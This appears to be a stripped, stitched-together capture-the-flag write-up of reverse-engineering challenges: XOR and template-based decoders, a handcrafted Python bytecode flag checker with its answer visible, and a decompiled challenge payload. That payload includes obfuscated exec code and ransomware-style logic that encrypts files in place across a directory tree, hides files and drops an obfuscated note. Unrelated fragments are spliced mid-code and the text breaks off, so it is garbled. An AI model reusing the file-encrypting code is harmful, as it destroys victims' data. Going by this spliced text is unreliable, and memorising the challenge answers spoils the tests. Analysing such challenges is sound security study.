[92,0,74,66,116,77,126,69,17,17,102,126,69,79,97,126,18,76,17,98,16,77,18,86,9 0,82,66,72,83,67,88,66] print(len(secret)) a = [chr(c^33) for c in secret] print(''.join(a[::-1])) #include <iostream> template <unsigned int a, unsigned int b> struct t1 { enum { value = b + t1<a-1, b>::value }; }; template <unsigned int b> struct t1<0, b> { enum { value = 0 }; }; template <unsigned int a, unsigned int b> struct t2 { enum { value = 1 + t2<a-1, b>::value }; }; template <unsigned int b> struct t2<0, b> { enum { value = 1 + t2<0, b-1>::value }; }; template<> struct t2<0, 0>{ enum { value = 0}; }; void decode(unsigned char *data, unsigned int val){ unsigned int *ptr = reinterpret_cast<unsigned int *>(data); while (*ptr != 0) { *ptr = *ptr ^ val; val = (val ^ (val << 1)) ^ 0xc2154216; ptr += 1; } } unsigned char flagged[] = {5,78,186,165,208,83,107,233,137,90,173,22,11,55,64,102,120,96,164,86,86,40,53 ,48,46,240,191,79,163,147,87,144,13,54,47,105,205,251,163,168,220,241,45,203,1 05,83,176,71,111,62,70,221,93,16,218,44,96,189,187,173,165,84,27,170,76,77,204 ,37,199,84,203,33,253,32,19,206,38,29,99,160,69,81,157,157,124,126,68,141,97,1 80,138,16,220,221,201,196,76,32,74,137,130,231,10,157,149,163,144,254,60,61,21 4,154,60,50,81,45,18,84,166,167,37,170,234,206,184,0,133,10,102,46,192,234,130 ,7,107,251,158,117,171,10,98,88,109,81,60,108,172,24,87,63,125,6,31,246,143,77 ,179,162,107,181,102,100,104,42,130,237,169,131,158,180,52,135,59,16,165,82,10 8,119,21,144,113,27,219,101,20,167,164,166,254,65,26,225,15,76,216,38,214,11,2 39,17,208,10,19,206,38,29,96,208,60,37,245,242,18,109,74,149,96,181,139,61,246 ,221,201,196,76,100,15,207,130,190,72,254,250,241,152,247,38,16,252,154,60,50, 81,45,18,84,166,245,96,254,191,156,246,0,149,39,76,3,234,234,130,7,45,243,175, 73,167,1,99,19,46,3,67,110,181,25,92,33,42,56,50,242,131,70,163,147,64,148,97, 78,104,42,130,174,237,252,208,241,99,135,38,16,241,11,60,50,70,158,18,84,159,3 2,96,254,244,227,246,0,72,232,0,76,206,41,206,84,206,22,250,10,19,206,38,29,96 ,208,60,37,245,242,18,109,74,149,96,181,139,61,246,221,201,196,76,100,15,207,1 30,174,85,195,194,229,148,218,12,16,252,154,60,50,81,45,18,84,166,245,96,254,1 91,156,246,0,149,39,76,3,234,234,130,7,107,189,208,10,174,11,89,94,34,8,121,43 ,161,25,109,43,63,56,39,230,204,36,220,221,20,152,76,100,104,42,130,174,237,25 2,208,241,99,135,38,16,241,11,60,50,70,158,18,84,159,32,96,254,183,172,178,69, 68,139,102,3,141,104,130,7,194,59,208,10,19,206,38,29,96,208,60,37,245,242,18, 109,74,149,96,181,139,61,246,221,138,139,2,55,91,156,142,131,110,211,208,241,1 52,247,38,16,252,154,60,50,81,45,18,84,166,245,96,254,191,156,246,0,149,39,76, 3,234,234,204,70,38,248,131,6,197,111,38,29,109,76,60,37,226,86,18,109,115,121 ,96,181,192,9,246,221,20,152,76,100,104,42,130,174,237,252,208,165,54,215,106, 85,249,112,62,100,67,218,16,84,217,111,50,254,189,227,191,78,72,244,13,77,202, 45,138,73,142,116,147,75,95,157,47,96,105,220,17,15,245,242,18,109,74,149,96,1 81,139,61,246,221,201,196,76,100,15,207,130,174,68,211,208,241,152,247,38,16,2 52,220,114,77,18,98,86,17,168,182,47,129,249,213,186,69,219,102,1,70,230,199,1 68,7,107,189,208,10,232,69,38,29,109,76,60,37,226,86,18,109,115,121,96,181,192 ,9,246,221,20,152,76,100,46,100,253,237,162,184,149,255,32,200,89,94,176,70,12 1,62,107,180,18,84,159,32,96,254,244,227,246,0,72,166,76,3,141,104,130,7,194,5 9,208,10,19,206,38,29,96,208,60,99,187,141,81,34,14,208,110,246,196,66,176,148 ,155,151,24,40,70,129,199,224,11,223,253,219,152,247,38,16,252,154,60,50,81,45 ,18,84,166,245,96,254,191,156,246,0,149,39,76,3,234,234,130,7,107,251,158,117, 171,10,98,88,99,15,115,90,174,24,93,57,50,59,108,152,234,9,246,221,20,152,76,1 00,104,42,130,174,237,252,208,241,99,135,38,16,241,11,60,50,70,158,18,84,159,3 2,38,176,139,160,185,68,13,168,15,76,242,46,208,66,135,109,145,88,64,194,11,55 ,96,208,60,37,245,242,18,109,74,149,96,181,139,61,246,221,201,196,76,100,15,20 7,130,174,68,211,208,241,152,177,104,111,191,213,120,119,95,110,93,43,229,176, 44,178,233,221,164,83,156,10,102,3,234,234,130,78,37,243,149,88,230,58,89,94,3 4,8,121,90,157,86,15,109,48,61,31,251,133,94,219,247,20,152,76,100,58,111,214, 251,191,178,208,184,45,201,99,66,220,33,17,24,0,143,18,73,159,100,37,184,189,1 73,179,127,14,243,2,64,133,122,142,21,206,121,215,86,111,150,54,13,60,172,100, 53,228,185,110,53,90,135,19,201,211,45,230,218,197,196,68,10,64,129,199,162,77 ,223,208,249,145,254,11,58,186,136,60,47,81,105,87,18,239,187,37,129,249,201,1 84,67,157,54,64,18,230,168,133,83,23,229,192,26,180,57,126,13,125,48,100,61,24 1,42,74,125,98,10,28,237,208,25,241,209,20,144,34,43,38,111,142,167,225,252,21 6,246,44,213,98,23,253,2,53,31,108,216,1,84,130,32,36,187,178,170,184,69,55,22 4,25,77,206,96,146,11,210,55,146,13,71,178,126,13,112,148,64,125,229,227,110,5 3,82,134,28,237,155,44,133,161,145,212,92,99,3,207,138,192,11,157,149,253,152, 247,33,119,181,204,121,50,28,104,18,18,234,180,39,228,191,155,255,12,149,47,75 ,74,164,186,215,83,108,177,217,3,197,111,96,9,109,81,60,97,167,16,91,35,54,6,3 8,224,142,74,254,204,24,152,95,104,104,104,133,234,145,164,192,224,39,251,126, 0,227,79,64,106,86,141,86,40,199,48,116,186,136,187,230,21,12,218,20,19,156,44 python ,254,95,210,45,148,118,75,222,49,89,28,136,44,61,177,142,70,41,54,205,112,166, 207,65,184,153,181,156,92,38,75,179,218,190,7,151,172,163,220,139,126,0,228,22 2,64,106,65,110,86,40,254,229,37,186,195,196,230,67,209,91,20,19,172,174,254,9 5,123,248,148,118,176,84,54,89,17,20,45,52,166,42,70,41,15,33,113,167,132,117, 174,205,7,220,48,60,121,58,198,210,181,236,195,181,31,223,54,85,181,119,100,35 ,85,218,110,12,143,98,36,130,186,167,138,88,89,178,8,127,213,120,154,67,190,99 ,193,25,87,178,126,13,113,148,64,125,229,227,86,17,4,209,28,225,207,65,174,205 ,216,128,48,60,30,221,198,210,28,195,146,181,228,175,55,0,184,230,100,34,23,10 5,110,12,183,225,36,130,231,140,229,68,233,127,92,65,174,150,218,22,126,249,17 2,82,249,83,97,12,48,48,100,53,243,2,110,53,99,105,60,201,152,25,230,161,76,12 8,95,24,48,58,147,250,145,164,192,225,63,251,126,0,224,119,100,42,85,226,74,68 ,142,107,28,166,228,240,164,124,16,190,94,87,241,48,146,22,134,71,136,27,4,178 ,126,5,115,172,100,53,228,142,74,125,91,233,56,165,155,121,138,133,216,220,63, 24,87,223,146,250,56,139,192,227,196,139,126,0,236,198,64,106,65,60,110,12,190 ,230,28,166,175,142,146,124,205,55,92,126,238,183,254,95,123,175,132,118,176,8 5,53,65,17,20,44,55,166,42,74,124,106,5,56,164,217,117,174,205,4,204,48,60,120 ,62,222,210,181,236,194,181,31,223,55,81,141,83,45,43,58,198,2,68,227,120,120, 237,136,187,230,17,52,254,84,16,241,48,146,21,134,71,136,27,11,133,90,69,112,1 94,110,89,173,234,81,17,18,133,113,201,211,45,230,153,181,156,93,124,124,179,2 18,190,84,130,172,169,128,180,98,108,164,139,126,65,45,117,2,68,161,249,77,212 ,191,156,246,0,149,39,76,3,234,234,130,7,107,189,208,10,232,77,72,82,35,9,48,3 7,251,79,30,109,98,107,113,185,192,16,238,209,20,137,93,112,100,42,147,190,248 ,240,208,224,114,146,42,16,224,25,47,62,70,139,0,88,159,57,119,242,244,242,230 ,16,68,166,89,18,129,104,147,23,211,55,208,31,6,194,38,8,119,220,60,48,230,254 ,18,120,94,153,96,161,147,49,246,201,208,200,76,113,31,195,130,187,82,223,208, 224,136,229,42,16,237,136,41,62,81,42,126,17,232,178,52,182,191,209,191,83,216 ,102,24,64,162,235,133,11,107,219,145,70,187,0,42,29,124,64,60,53,238,86,102,6 3,38,60,105,185,237,35,246,221,20,152,76,100,104,42,130,174,237,252,208,241,99 ,135,38,24,246,71,121,124,65,146,18,83,207,114,41,176,160,228,250,0,79,252,5,8 3,138,100,130,0,132,42,215,6,19,201,96,15,103,217,53,8,223,180,7,109,87,149,36 ,240,205,116,184,152,182,130,25,42,76,199,146,162,68,194,220,179,159,163,90,72 ,236,138,64,106,73,62,110,12,182,229,61,130,231,140,230,84,233,127,92,18,182,1 50,218,23,123,193,136,18,251,57,126,13,124,8,64,125,242,71,89,17,43,105,120,23 1,188,81,231,158,64,228,20,116,122,110,254,246,253,238,172,169,123,148,90,72,2 25,26,64,106,86,143,110,12,143,48,46,130,172,243,238,84,52,254,92,17,201,20,21 8,23,209,71,136,18,0,178,126,13,113,172,100,53,228,142,74,125,90,209,28,237,15 5,45,133,161,145,212,92,99,3,199,236,225,10,150,220,241,254,182,106,67,185,150 ,60,53,63,98,66,17,167,242,108,254,184,229,179,80,148,32,69,15,234,226,133,65, 120,186,220,10,239,3,50,26,97,76,59,117,176,31,92,57,116,112,105,152,234,79,22 7,213,29,181,102,73,66,42,130,174,237,220,240,209,67,167,0,0,0,0}; int main(){ decode(flagged, t2<0xcaca0000, t2<444, t1<t2<100, t1<4,3>::value>::value, t2<44, t1<11,3>::value>::value>::value>::value>::value); std::cout << flagged <<std::endl; } import types def define_func(argcount, nlocals, code, consts, names): #PYTHON3.8!!! def inner(): return 0 fn_code = inner.__code__ cd_new = types.CodeType(argcount, 0, fn_code.co_kwonlyargcount, nlocals, 1024, fn_code.co_flags, code, consts, names, tuple(["v%d" for i in range(nlocals)]), fn_code.co_filename, fn_code.co_name, fn_code.co_firstlineno, fn_code.co_lnotab, fn_code.co_freevars, fn_code.co_cellvars) inner.__code__ = cd_new return inner f1 = define_func(2,2,b'|\\x00|\\x01k\\x02S\\x00', (None,), ()) f2 = define_func(1,1,b't\\x00|\\x00\\x83\\x01S\\x00', (None,), ('ord',)) f3 = define_func(0,0,b't\\x00d\\x01\\x83\\x01S\\x00', (None, 'Give me flag: '), ('input',)) f4 = define_func(1, 3, b'd\\x01d\\x02d\\x03d\\x04d\\x05d\\x01d\\x06d\\x07d\\x08d\\td\\x03d\\nd\\x0bd\ \x0cd\\rd\\x08d\\x0cd\\x0ed\\x0cd\\x0fd\\x0ed\\x10d\\x11d\\td\\x12d\\x03d\\x10 d\\x03d\\x0ed\\x13d\\x0bd\\nd\\x14d\\x08d\\x13d\\x01d\\x01d\\nd\\td\\x01d\\x12 d\\x0bd\\x10d\\x0fd\\x14d\\x03d\\x0bd\\x15d\\x16g1}\\x01t\\x00|\\x00\\x83\\x01 t\\x00|\\x01\\x83\\x01k\\x03r\\x82t\\x01d\\x17\\x83\\x01\\x01\\x00d\\x18S\\x00 t\\x02|\\x00|\\x01\\x83\\x02D\\x00]$}\\x02t\\x03|\\x02d\\x19\\x19\\x00t\\x04|\ \x02d\\x1a\\x19\\x00\\x83\\x01\\x83\\x02d\\x18k\\x02r\\x8c\\x01\\x00d\\x18S\\x 00q\\x8cd\\x1bS\\x00', (None, 99, 121, 98, 114, 105, 115, 123, 52, 97, 100, 51, 101, 55, 57, 53, 54, 48, 49, 50, 56, 102, 125, 'Length mismatch!', False, 1, 0, True), ('len', 'print', 'zip', 'f1', 'f2')) f5 = define_func(0, 1,b't\\x00\\x83\\x00}\\x00t\\x01|\\x00\\x83\\x01d\\x01k\\x08r\\x1ct\\x02d\\x02 \\x83\\x01\\x01\\x00n\\x08t\\x02d\\x03\\x83\\x01\\x01\\x00d\\x00S\\x00',(None, False, 'Nope!', 'Yep!'), ('f3', 'f4', 'print')) f5() python 3.8 dis 4 0 LOAD_CONST 1 (99) 2 LOAD_CONST 2 (121) 4 LOAD_CONST 3 (98) 6 LOAD_CONST 4 (114) 8 LOAD_CONST 5 (105) 10 LOAD_CONST 1 (99) 12 LOAD_CONST 6 (115) 14 LOAD_CONST 7 (123) 16 LOAD_CONST 8 (52) 18 LOAD_CONST 9 (97) 20 LOAD_CONST 3 (98) 22 LOAD_CONST 10 (100) 24 LOAD_CONST 11 (51) 26 LOAD_CONST 12 (101) 28 LOAD_CONST 13 (55) 30 LOAD_CONST 8 (52) 32 LOAD_CONST 12 (101) 34 LOAD_CONST 14 (57) 36 LOAD_CONST 12 (101) 38 LOAD_CONST 15 (53) 40 LOAD_CONST 14 (57) 42 LOAD_CONST 16 (54) 44 LOAD_CONST 17 (48) 46 LOAD_CONST 9 (97) 48 LOAD_CONST 18 (49) 50 LOAD_CONST 3 (98) 52 LOAD_CONST 16 (54) 54 LOAD_CONST 3 (98) 56 LOAD_CONST 14 (57) 58 LOAD_CONST 19 (50) 60 LOAD_CONST 11 (51) 62 LOAD_CONST 10 (100) 64 LOAD_CONST 20 (56) 66 LOAD_CONST 8 (52) 68 LOAD_CONST 19 (50) 70 LOAD_CONST 1 (99) 72 LOAD_CONST 1 (99) 74 LOAD_CONST 10 (100) 76 LOAD_CONST 9 (97) 78 LOAD_CONST 1 (99) 80 LOAD_CONST 18 (49) 82 LOAD_CONST 11 (51) 84 LOAD_CONST 16 (54) 86 LOAD_CONST 15 (53) 88 LOAD_CONST 20 (56) NetWork XCorp SMB net10.exe rc4 12 smb u17ra_h4ck3r %5cnet10.exe, , flag Google Cloud pingfsgithub https://github.com/yarrick/pingfs ,flag rebyC CatGirl Breach winrarvbsbat vbsbat hex pyinstaller 90 LOAD_CONST 3 (98) 92 LOAD_CONST 11 (51) 94 LOAD_CONST 21 (102) 96 LOAD_CONST 22 (125) # uncompyle6 version 3.7.3 # Python bytecode 3.8 (3413) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] # Warning: this version of Python has problems handling the Python 3 "byte" type in constants properly. # Embedded file name: main.py evergarden = (11, 33, 33, 77) SO_CUTE = 'bLQ"yU\\x01>\\x7fST.\\x7f,+$fQN?\\x7f\\x01B9rQD>\\x06+H {NS9+NR@\\x01J\\x01p+BU4{DRc|HO)gM\\x0f&nSO(g\\x12\\x13@\\x01,+)nG\\x01%bFT? jRI$#VI(e~U%nX~.yX\\x08w\\x06+\\x01m+\\x01N4jRI$yN\\x01p+\\t\\x10a+\\x13\\x08@ \\x01\\x01\\x01m+VU.+\\x1c\\x01:cDO\\x12\\x7fID4TBS4P\\x1b|@\\x01\\x01\\x01m+R U? bOF$mX\\x01p+uS8n\\x01H++HR$eRU,eBDe|UBa+RU?"\\x01D!xD\\x01\\x0bjMR(\\x06+\\x0 1m+\\x01V9h\\x01\\x1cmiXU(jSS,r\\tV9h\\x08\\x01$m\\x01O"\\x7f\\x01R9yHO*bGXmnM R(+CX9n@S? jX\\t:\\x7fB\\x0f(eBN)n\\t\\x08d\\x06+\\x01m+\\x01G"y\\x01Q"x\\x01H#+S@#lD\\t! nO\\t:\\x7fB\\x08d1,+m+\\x01\\x01m+\\x01\\x01:\\x7fBz=dR|mU\\x1c\\x01"r@R%bSN\ \x16{NRhgDOedX@>cHS""|,G+\\x01\\x01mbG\\x01>\\x7fSH#lHG41,+m+\\x01\\x01m+\\x01 \\x01?nUT? e\\x01V9h\\x0fE(hNE(#\\x08,G+\\x01\\x01mnMR(1,+m+\\x01\\x01m+\\x01\\x01?nUT? e\\x01C4\\x7fDRe|UBd\\x06+,G[`u\\x12_id\\x12H`um6\\x01\\x03i}OG#3\\x00S9}\\x00 W$l\\x00T- eLF8,\\x03,G\\x06+@#oSN$o\\x01\\x1cm+C\\x03%\\x7fUQ>1\\x0e\\x0e:|V\\x0f4dTU8iD \\x0f.dL\\x0e:jUB%4W\\x1c4qQf\\x18s@U(^F\\x03@\\x01X@=jQ@=j\\x01\\x1cmi\\x03I9 \\x7fQRw$\\x0eV:|\\x0fX"~UT/n\\x0fB"f\\x0eV,\\x7fBIr}\\x1ce\\x039XM&=`ux|\\x03 ,GgH@? +\\x1c\\x01}sGG@\\x01,+@\\x01HL\\x12mDD!bOF\\x12xN~/yNJ(e\\x01\\x1cmiXU(x\\tz, eES"bEz$V\\x01\\x7fmr@Q,{@Q,P\\x0c\\x10\\x10+GN?+H\\x01$e\\x01S,eFDegDOer@Q, {@Q,"\\x08|d\\x06+J(r\\x01\\x1cmP\\x11\\rm;\\r\\x01}\\'\\x01\\x11\\x10\\x06+G" y\\x01HmbO\\x01? jOF(#MD##HL\\x12mDD!bOF\\x12xN~/yNJ(e\\x08\\x08w\\x06+\\x01m+\\x01J(rzHh? |\\x01p+\\tJ(rzHh?|\\x01f+HL\\x12mDD!bOF\\x12xN~/yNJ(ezH\\x10"\\x01\\x04mgH@? \\x06+,GoDGmxU@*n\\x10~ (eB~u#BS4{U\\rmhSN:e\\x08\\x1b@\\x01\\x01\\x01m+lh\\x02Tlh\\x0e+\\x1c\\x01.\\x 7fXQ(x\\x0fB\\x12~HO98\\x13\\t.yXQ9P\\x11|d\\x06+\\x01m+\\x01l\\x04H~l\\x04D\\ x01\\x1cmhUX=nR\\x0f.TTH#\\x7f\\x12\\x13ehSX=\\x7fz\\x10\\x10",+m+\\x01\\x01\\ x0eBn~\\x0eBn\\x01p+BU4{DRch~T$eU\\x12\\x7f#\\x11\\x08@\\x01\\x01\\x01m+bh\\x1 8Tbh\\x02+\\x1c\\x01}s\\x18D~ <\\x16\\x18/3,+m+\\x01\\x01\\x1e_`f\\x08T`b\\x19Ds\\x01p+\\x12\\x13@\\x01\\x01 \\x01m+qh\\x03Jx\\x01p+\\x15,G+\\x01\\x01m[hx\\x0c^\\x01\\x1cm>,+m+\\x01\\x01\ \x1bNsr\\x04Do~\\x04Egnm6\\x01z}\\'\\x01\\x11\\x10\\x06+\\x01m+\\x01V%bMDm#ru\ \x0cLd~\\x0cHun\\x1f+\\x1f\\x01}"\\x1b,G+\\x01\\x01m+\\x01\\x01mXu`\\nN~`\\x0e _nsm&\\x1c\\x01|\\x06+\\x01m+\\x01\\x01m+\\x01l\\x04H~l\\x04D\\x0fW,gTDm&\\x1c \\x01eFhn\\x12Fhbc}@M8n\\x01\\x1dq+qh\\x03Jx\\x08m \\x01B? dVO\\x169|\\x01\\x13+lh\\x02Tlh\\x0e%W@!~D\\x01f+bh\\x02Tbh\\x02%W@!~D\\x01\\x 13+\\t,G+\\x01\\x01m+\\x01\\x01mFhn\\x12Fhbc}@M8n\\x01\\x1fs+qh\\x14Jt\\x08m \\x01B? dVO\\x168|,G+\\x01\\x01m+\\x01\\x01mFhn\\x12Fhbc}@M8n\\x01\\x0cp+\\tl\\x04H~l\ \x04D\\x0fW,gTDm7\\x1d\\x01\\x1dBo`\\x14"\\x01\\nmhSN:ez\\x11\\x10+\\x7f\\x01\ \x00Bb~\\x00Bn\\x0f;jMT(+\\n\\x01\\x0eBn~\\x0eBn\\x0f;jMT(+\\x7f\\x01e\\x06+\\ x01m+\\x01\\x01m+\\x01l\\x04H~l\\x04D\\x0fW,gTDm5\\x1f\\x01\\x1dBx`\\x18"\\x01 \\nmhSN:ez\\x10\\x10\\x06+\\x01m+\\x01\\x01m+\\x01b\\x04D~b\\x04D\\x0fW,gTDm&\ \x1c\\x01\\x0eBt~\\x0eBn,G+\\x01\\x01m]ds\\x1eBno\\x12Bog\\x02P\\x11|m6\\x01l\ \x04D~l\\x04H\\x0fW,gTD@\\x01\\x01\\x01m+wd\\x1fXhn\\x03Tho\\x0bDz\\x10\\x10+\ \x1c\\x01\\x00Bb~\\x00Bn\\x0f;jMT(\\x06+\\x01m+\\x01S(\\x7fTS#+wd\\x1fXhn\\x03 Tho\\x0bD,+@\\x01ED++v`\\x06Juu\\x0cY`\\t.yXQ9\\'\\x01J(r\\x08\\x1b@\\x01\\x01 \\x01m+BS4{U\\np+C\\x03\\x11s\\x11\\x11o!\\t\\x01u+\\x0c\\x01egDOehSX=\\x7f\\x 08\\x04u"\\x08,G+\\x01\\x01mx\\x01\\x1cmxUS8hU\\x0f\\x1e\\x7fST.\\x7f\\tI$lTS, xIHe)\\x1cj\\x05)\\x08\\x08@\\x01\\x01\\x01m+K\\x01p+z\\t$P\\x11|a+Hz|V\\x08\\ x01+dS\\x01$+HOmx\\x0fH9nS~8eQ@.`\\tB? rQUdV,+m+\\x01\\x01,eR\\x01p+z|@\\x01\\x01\\x01m+GN? +CM"hJ\\x01$e\\x01K\\x16;\\x1b|w\\x06+\\x01m+\\x01\\x01m+\\x01B!dBJm6\\x01R9jF D|TDO.T\\x19\\t/gNB&\\'\\x01J(r\\x08,G+\\x01\\x01m+\\x01\\x01mjORcjQQ(eE\\t.gN B&",+m+\\x01\\x01?nUT?e\\x01Co)\\x0fK"bO\\t>\\x7fST.\\x7f\\x0fQ,hJ\\t%bFT? jRI$#\\x03\\x1c\\x06C\\x03\\x08a+\\x0bHd+GN? +H\\x01$e\\x01@#x\\x08,G\\x06+D5\\x7f\\x01\\x1cm#IH*~S@>cH\\to$@A;mJR#)\\x08\\ r@\\x01\\x01\\x01m+\\x01\\x01mcHF8y@R%b\\t\\x03bjAW?)\\x08\\r@\\x01\\x01\\x01m +\\x01\\x01mcHF8y@R%b\\t\\x03boLB+z\\x03\\x08a+\\x08,GxU@? \\x7fRV$\\x7fI\\x01p+\\t,G+\\x01\\x01mcHF8y@R%b\\tCj~KEolOA(*JSj"\\r,G+\\x01\\ x01mcHF8y@R%b\\tCjiZB=c@S4,\\x08\\r@\\x01\\x01\\x01m+IH*~S@>cH\\t/,CO- zSJ*`EG`)PQ#yEQ8p\\x00L*)CB8nIQ )IM(|SW>`AOj"\\r\\x08@\\x01LM(e\\x01\\x1cmf@YegDOeb\\x08\\x01+dS\\x01$+HOmxU@? \\x7fRV$\\x7fI\\x08@\\x01GN?+BT?TEH? \\'\\x01~a+GH!nR\\x01$e\\x01N>%V@!`\\t\\x03c)\\x08\\x1b@\\x01\\x01\\x01m+GN? +GH!n\\x01H#+GH!nR\\x1b@\\x01\\x01\\x01m+\\x01\\x01m+GH!n\\x01\\x1cmdR\\x0f=jU IcaNH##BT?TEH?\\'\\x01G$gD\\x08@\\x01\\x01\\x01m+\\x01\\x01m+\\x02Q? bOUemHM(",+m+\\x01\\x01m+\\x01\\x01.bQ\\x01p+g@!xD,G+\\x01\\x01m+\\x01\\x01mbG \\x01+bMDcgNV(y\\t\\x08cnOE>|HU%#DY9"\\x1b,G+\\x01\\x01m+\\x01\\x01m+\\x01\\x0 1mhHQm6\\x01u? ~D,G+\\x01\\x01m+\\x01\\x01mnMR(1,+m+\\x01\\x01m+\\x01\\x01m+\\x01\\x019yX\\x1 b@\\x01\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+VH9c\\x01N=nO\\t+bMDa+I H*~S@>cH\\toxA\\x03d"\\x01@>+GGw\\x06+\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x0 1m+\\x01\\x01m+\\x01H++GGcyD@)#LM(e\\x08\\x0f!dVD? #\\x08\\x0f>\\x7f@S9xVH9c\\tR9jSU>|HU%"\\x1b,G+\\x01\\x01m+\\x01\\x01m+\\x01\\ x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01mhHQm6\\x01u? ~D,G+\\x01\\x01m+\\x01\\x01m+\\x01\\x01mnYB({U\\x1b@\\x01\\x01\\x01m+\\x01\\x0 1m+\\x01\\x01m+\\x01\\x01m+Q@>x,+m+\\x01\\x01m+\\x01\\x01$m\\x01B${\\x1b,G+\\x 01\\x01m+\\x01\\x01m+\\x01\\x01m|HU%+NQ(e\\tG$gD\\rmcHF8y@R%b\\t\\x03>"B\\x03d "\\x01@>+DOw\\x06+\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01L(f\\x01\\x1 cm\\\\`j\\x0c_u`\\x1fJ\\tD#%SD,o\\t\\x08a+JD4",+m+\\x01\\x01m+\\x01\\x01m+\\x0 1\\x01m+\\x01\\x01(e\\x0fR(nJ\\t}",+m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x0 1\\x01(e\\x0fV? bUDefDLd\\x06+\\x01m+\\x01\\x01m+\\x01D!xD\\x1b@\\x01\\x01\\x01m+\\x01\\x01m+\ \x01\\x01m+US41,+m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01$m\\x01O"\\x7 f\\x01G$gD\\x0f(eER:bUIecHF8y@R%b\\t\\x03\\x04Hch\\tM\\x0eW4}\\x03\\x08d1,+m+\ \x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01&%rD9MHM(JUU? bCT9nRvemHM(\\'\\x01\\x13d\\x06+\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01D5hDQ91,+m +\\x01\\x01m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01=jRR@\\x01\\x01\\x01m+VH9c\\x01 N=nO\\t"x\\x0fQ,\\x7fI\\x0f\\'dHOehTS\\x12oHSa+IH*~S@>cH\\toBbc\\x04Og\\x0e;rW \\x03d"\\r\\x01%bFT? jRI$#\\x03Wo"\\x08\\x01,x\\x01Gw\\x06+\\x01m+\\x01\\x01m+\\x01Q? bOUecHF8y@R%b\\t\\x03o)yl\\x19)wf\\x1eL\\x00k\\rJkf\\x08%\\x00`- }gJ>e\\x00j"mUP8{IB )FF eA\\x0flkY\\x03\\x1flCQ)}\\x00l8hKVlfRD-gIP- }IL"\\'\\x00p)gD\\x03h8\\x13\\x10{)TLo)\\x03\\x08a\\x06+\\x01m+\\x01\\x01m+\\x 01\\x01m+\\x01\\x01mcHF8y@R%b\\tq\\x0c_~u\\x05N~b\\x0c_\\x08\\r@\\x01\\x01\\x0 1m+\\x01\\x01m+\\x01\\x01m+\\x01\\x01%bFT? jRI$#\\x03\\x03okMDo}F\\x07#f\\x03S*dG\\x00;bF\\x00+o@R6zWI d\\x03U;cO\\x03o)\\x08\\rmmHM(6G\\x08@\\x01' uncute = [] for i in range(len(SO_CUTE)): uncute.append(SO_CUTE[i] ^ evergarden[(i % len(evergarden))]) exec(compile(bytes(uncute), 'cute_pswd', 'exec')) # okay decompiling main.pyc import struct import ctypes import os k = ctypes.windll.kernel32 def higurashi(when_they_cry): oyashiro = (1, 2) wtc = when_they_cry[:] stringify = True if isinstance(wtc, str) else False wtc = bytearray(wtc) if not stringify else bytearray(wtc.encode()) for pos in range(len(wtc)): wtc[pos] ^= oyashiro[pos%len(oyashiro)] if stringify: return wtc.decode() else: return bytes(wtc) PAT_THE_CAT = "$vnfn8!rtv!vig!u`nmgu'" android = b"<https://www.youtube.com/watch?v=yzpGUxateUg>" yapapapa = b"<https://www.youtube.com/watch?v=DN2ylk6AT5w>" liar = 0xff im_feeling_so_broken = bytes([android[i] ^ yapapapa[-1] for i in range(len(yapapapa))]) key = [0, 0, 0, 0] for i in range(len(im_feeling_so_broken)): key[i%4] = (key[i%4] + im_feeling_so_broken[i]) % liar def stage1_enc_8(crypt, crown): MIO_MIC = ctypes.c_uint32(crypt[0]) MIC_MIO = ctypes.c_uint32(crypt[1]) CIO_CIO = ctypes.c_uint32(0) CIU_CIO = 0x9e3779b8 STAGE_ACTOR = 32 PINAY = 4 PIYAU = 5 VERSION_INFO = [0, 0] while (STAGE_ACTOR > 0): STAGE_ACTOR -= 1 MIC_MIO.value -= (MIO_MIC.value << PINAY) + crown[2] ^ MIO_MIC.value + CIO_CIO.value ^ ( MIO_MIC.value >> PIYAU) + crown[3] MIO_MIC.value -= (MIC_MIO.value << PINAY) + crown[0] ^ MIC_MIO.value + CIO_CIO.value ^ ( MIC_MIO.value >> PIYAU) + crown[1] CIO_CIO.value -= CIU_CIO VERSION_INFO[0] = MIO_MIC.value VERSION_INFO[1] = MIC_MIO.value return VERSION_INFO def WAKATTARA(crypt, key): crypt+= b"\\x00"*( 8 - (len(crypt)%8)) s = struct.Struct(higurashi("=KH")) j = [(i[0], i[1]) for i in s.iter_unpack(crypt)] ans = [] for block in j[0:]: clock = stage1_enc_8(block, key) ans.append(clock) return b"".join(struct.pack(higurashi("=KH"), *i) for i in ans) ext = (higurashi("/a`vfksn"), higurashi("/a`vr"), higurashi("/dmcfq"), ) startswith = ( higurashi(b'ujd"gn`e!kr'), higurashi(b'b{cphary'), higurashi(b'bn`qrkgkdf-"qpnrdpu{!mg"bcuehpm"hlewrvsk`n'),) mlen = max(len(i) for i in startswith) for cur_dir, _, files in os.walk("."): for file in files: file = os.path.join(cur_dir, file) #print(file) cip = False if file.lower().endswith(ext): cip = True else: try: with open(file, higurashi("s`")) as ff: if ff.read(mlen).lower().startswith(startswith): cip = True except: pass if cip: with open(file, higurashi("s)c")) as en: mem = WAKATTARA(en.read(), key) TEA Quiz 100 pyrogram vote_pollPoll, pyrogramvote_poll wrostbest 25emoji (25*24)/2 = 300 emoji : en.seek(0) en.write(mem) else: try: if not file.endswith(higurashi("ICBIDF/vyv")): k.SetFileAttributesW(file, 2) except: pass with open(os.path.join(cur_dir, higurashi("ICBIDF/vyv")), higurashi("v")) as f: print(higurashi("""XMT"VGSG!J@AJGE.!A`vFksn!Koftquphcm"ggmn`.!`x"Rgbpdv!Mucjw !mse`lhq`vhmo,!Qdle"%3216"um"""), higurashi(PAT_THE_CAT), higurashi("""`le"vg&nm"rgof!vig!fdas{qvhmo"tvhn"""), file=f) from pyrogram import * # Remember to use your own values from my.telegram.org! api_id = api_id api_hash = api_hash # app = Client("my_account", api_id, api_hash) bot = 'AlienQuizBot' app = Client("my_account", api_id, api_hash, 